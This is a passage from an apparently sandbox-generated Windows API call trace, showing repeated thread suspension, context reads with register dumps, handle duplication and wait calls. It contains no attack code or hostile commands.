[122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.482] SetEvent (hEvent=0x1a0) returned 1
	[0242.482] ResumeThread (hThread=0x19c) returned 0x1
	[0242.482] CloseHandle (hObject=0x19c) returned 1
	[0242.482] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.488] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0242.488] SwitchToThread () returned 1
	[0242.497] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0242.507] SuspendThread (hThread=0x19c) returned 0x0
	[0242.507] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff998, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.528] ResumeThread (hThread=0x19c) returned 0x1
	[0242.528] CloseHandle (hObject=0x19c) returned 1
	[0242.528] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.536] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.551] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.570] SetEvent (hEvent=0xfc) returned 1
	[0242.570] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.593] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0242.593] SwitchToThread () returned 1
	[0242.607] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0242.635] SuspendThread (hThread=0x19c) returned 0x0
	[0242.635] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ffb88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.652] ResumeThread (hThread=0x19c) returned 0x1
	[0242.652] CloseHandle (hObject=0x19c) returned 1
	[0242.652] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.695] SetEvent (hEvent=0xfc) returned 1
	[0242.695] SetEvent (hEvent=0xf0) returned 1
	[0242.695] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.739] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.778] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.835] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.919] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.952] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.961] SetEvent (hEvent=0xf0) returned 1
	[0242.961] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.005] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.046] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0243.046] SetEvent (hEvent=0xf0) returned 1
	[0243.046] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.073] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.117] SetEvent (hEvent=0x17c) returned 1
	[0243.117] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.142] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0243.143] SuspendThread (hThread=0x19c) returned 0x0
	[0243.143] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ffb08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0243.153] ResumeThread (hThread=0x19c) returned 0x1
	[0243.153] CloseHandle (hObject=0x19c) returned 1
	[0243.154] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.204] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.212] SetEvent (hEvent=0xd4) returned 1
	[0243.212] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.240] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.256] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.260] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0243.260] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x67) returned 0x0
	[0243.280] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0243.280] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.291] SetEvent (hEvent=0x17c) returned 1
	[0243.291] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.307] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.314] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0243.333] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1a8) returned 1
	[0243.333] SuspendThread (hThread=0x1a8) returned 0x0
	[0243.333] GetThreadContext (in: hThread=0x1a8, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff778, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, 